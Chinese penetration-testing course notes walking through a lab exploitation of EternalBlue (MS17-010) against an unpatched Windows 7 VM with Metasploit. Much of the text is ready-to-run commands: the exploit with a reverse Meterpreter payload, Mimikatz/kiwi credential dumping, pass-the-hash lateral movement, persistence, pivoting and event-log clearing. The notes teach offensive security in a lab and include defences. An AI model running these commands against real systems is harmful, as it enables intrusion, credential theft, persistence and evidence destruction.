模块体系、ms17-010 打通靶机全过程、Meterpreter 会话管理与 msfvenom 生成木马。
核心知识点
1. 漏洞与漏洞编号
- 漏洞:系统、软件或设备中的弱点或缺陷;漏洞编号:已确认漏洞的唯一标识,便于标准化追踪;CVE 编号体系:
CVE-年份-序列号(如CVE-2025-12345),MITRE 维护、NVD 支持。
2. 永恒之蓝(MS17-010)产生原因
- SMBv1 协议未严格检查接收的数据量。
- 原理:谎称只存 3 个文件、塞进 100 个,恶意数据”溢出”到系统区域覆盖指令,系统执行后交出最高权限——本质是缓冲区溢出。
- SMB 协议端口:
端口 底层协议 适用场景 重点 139 NetBIOS 老旧系统(XP/2003) 很少单独使用 445 TCP 现代系统(Win7/10/11) 高危端口,永恒之蓝攻击 - 查看 445 端口:
netstat -ano | findstr ":445"(LISTENING 说明 SMB 开启,PID 4 为 System 进程)。 - 防御:打 MS17-010 补丁、关闭 445 端口、开启防火墙、更新杀毒软件。
3. MSF 简介与模块
- MSF(Metasploit Framework):开源渗透测试框架,集成漏洞扫描、攻击代码、有效载荷与报告生成。
- 核心模块文件:
/usr/share/metasploit-framework/modules,共 7 类,常用 3 类:
auxiliary 模块(只扫描、探测、指纹识别):
- Scanner 扫描器:
auxiliary/scanner/portscan/tcp(TCP 端口扫描)、auxiliary/scanner/discovery/arp_sweep(主机发现)、auxiliary/scanner/smb/smb_version(SMB 版本)、auxiliary/scanner/http/http_version(HTTP 识别)、auxiliary/scanner/smb/smb_ms17_010(永恒之蓝检测)、auxiliary/scanner/http/dir_scanner(目录爆破)、auxiliary/scanner/http/robots_txt。 - Sniffer 嗅探器:被动监听抓流量里的密码/Hash。三种位置:同一物理网络、已控制目标、网络核心(控制网关/ARP 欺骗做中间人)。
- DoS 拒绝服务:测试系统稳定性(慎用)。
exploits 漏洞利用模块:
- 唯一任务是触发目标漏洞,为执行 Payload 打开大门。
- 公式:漏洞存在 + Exp 突破 + Payload 执行。
- 比喻:漏洞=没关严的窗,Exp=撬棍,Payload=进屋后做的事。
post 后渗透模块:
- 拿到会话后做信息收集、提权、持久化、内网穿透。
4. Exploit 参数
- RHOSTS:目标 IP(单个、网段
192.168.1.0/24、file:/tmp/ips.txt)。 - RPORT:目标服务端口(SMB 默认 445,SSH 默认 22)。
- TARGET:目标类型;自动模式失败用
show targets+set target <ID>。 - Payload:攻击成功后执行的代码,需与 Exploit/系统匹配(Linux Exploit 不能用 Windows Payload)。
5. Payload 命名规则
<操作系统>/<架构>/<功能类型>/<连接方式>
- 操作系统:windows、linux、android、php
- 架构:x86(32位)、x64(64位)
- 功能类型:
meterpreter(首选后门)、shell(命令行回连)、vncdll(图形桌面) - 连接方式:
reverse_tcp(反向,最常用,绕过防火墙)、bind_tcp(正向) - 示例(Windows 7 64位):
windows/x64/meterpreter/reverse_tcp
为什么 reverse_tcp + meterpreter 是黄金搭档:反向连接绕过防火墙;Meterpreter 不落盘、难查杀,自带密码抓取/键盘记录/截屏,可动态加载扩展。
6. 永恒之蓝完整复现
环境准备:VMware 中 Kali(攻击机)+ Windows 7(靶机)同网段(NAT/桥接);靶机关防火墙与杀毒软件、卸载 MS17-010 补丁(KB4012212 等)。
# 信息收集:扫描 445 端口
nmap -p 445 <靶机IP>
# 启动 MSF
msfconsole
# 搜索模块
search ms17-010
# 扫描验证漏洞
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <靶机IP>
run
# 输出:Host is likely VULNERABLE to MS17-010!
# 利用模块
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS <靶机IP>
set LHOST <攻击机IP>
check # 可选,非攻击性检测
exploit
# 成功:Meterpreter session 1 opened
7. Meterpreter 后渗透操作
基础命令:
getuid # 查看当前权限(通常 SYSTEM)
sysinfo # 查看系统信息
screenshot # 截屏
shell # CMD 命令行
clearev # 事件日志
信息收集 Post 模块:
run post/windows/gather/checkvm # 是否虚拟机
run post/windows/gather/enum_applications # 枚举已软件
run post/windows/gather/winenum # 网络/用户列表/剪贴板等
run post/windows/manage/keylog_recorder # 键盘记录(keylog_dump 查看)
权限提升与凭证窃取:
run post/multi/recon/local_exploit_suggester # 推荐提权 Exploit
run post/windows/gather/smart_hashdump # 导出所有用户哈希(需 SYSTEM)
load kiwi # 加载 Mimikatz 扩展
creds_all # 抓取明文密码(Wdigest 开启时)
Mimikatz 独立使用(MSF 提权失败时):
# 上传 mimikatz
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe C:\\Users\\Public\\
# 执行
shell
cd C:\Users\Public
mimikatz.exe
privilege::debug # 提升自身权限(Privilege '20' OK)
sekurlsa::logonpasswords # 转储 LSASS 进程凭证(核心)
用凭证横向移动:
# 哈希传递 pth
load kiwi
pth USERNAME=Admin NTLM=<NTLM哈希>
# psexec 模块横向移动
background
use exploit/windows/smb/psexec
set RHOSTS <目标域控IP>
set SMBUser Administrator
set SMBPass <NTLM哈希>
run
注意:privilege::debug 需是管理员组成员;mimikatz.exe 易被杀软删,推荐 MSF 的 kiwi(不落盘)。
持久化:
run post/windows/manage/persistence_exe # 注册为服务开机自启
run post/windows/manage/registry_persistence # 注册表 Run 键
- 注册表:
Win+R→regedit。根键 HKCR/HKCU/HKLM/HKU/HKCC(文件类型/当前用户/机器/所有用户/硬件);值类型 REG_SZ、REG_BINARY、REG_DWORD。
内网穿透与横向移动:
run post/multi/manage/autoroute # 添加路由,让 MSF 通过会话转发到网
run post/multi/manage/socks_proxy # 目标变代理服务器, Proxychains
portfwd add -l 1234 -p 3389 -r 目标IP # 端口转发(绕过防火墙连远程桌面)
痕迹:
run post/windows/manage/clear_event_log # 空系统//应用日志
Post 模块标准操作流程:
getuid → sysinfo → enum_applications → smart_hashdump → migrate(迁移到 explorer.exe/svchost.exe 防止掉线)→ persistence_exe
查找 Post 模块:search type:post、search post windows gather。
8. Docker 容器解决环境
- Ubuntu 自带 PHP 版本过高导致 SQL-Lab 部署失败时,用 Docker 把低版本 PHP 做成镜像跑容器并映射端口。
实操步骤
msfconsole
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.105
run
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.1.105
set LHOST 192.168.1.100
exploit
# 后渗透
getuid
sysinfo
screenshot
run post/windows/gather/smart_hashdump
load kiwi
creds_all
run post/multi/manage/autoroute
clearev
常见错误与排查
- 445 端口扫描 closed → 靶机防火墙未关、补丁未卸。
- exploit 失败蓝屏 → 选错 TARGET/架构,确认 Win7 x64 用 x64 payload。
- check 显示 VULNERABLE 但 exploit 失败 → 补丁未卸载干净或版本不对。
- Mimikatz 被杀软删除 → 改用
load kiwi加载。 privilege::debug失败 → 当前不是管理员组成员。- 拿到 shell 后掉线 → 记得 migrate 到稳定进程。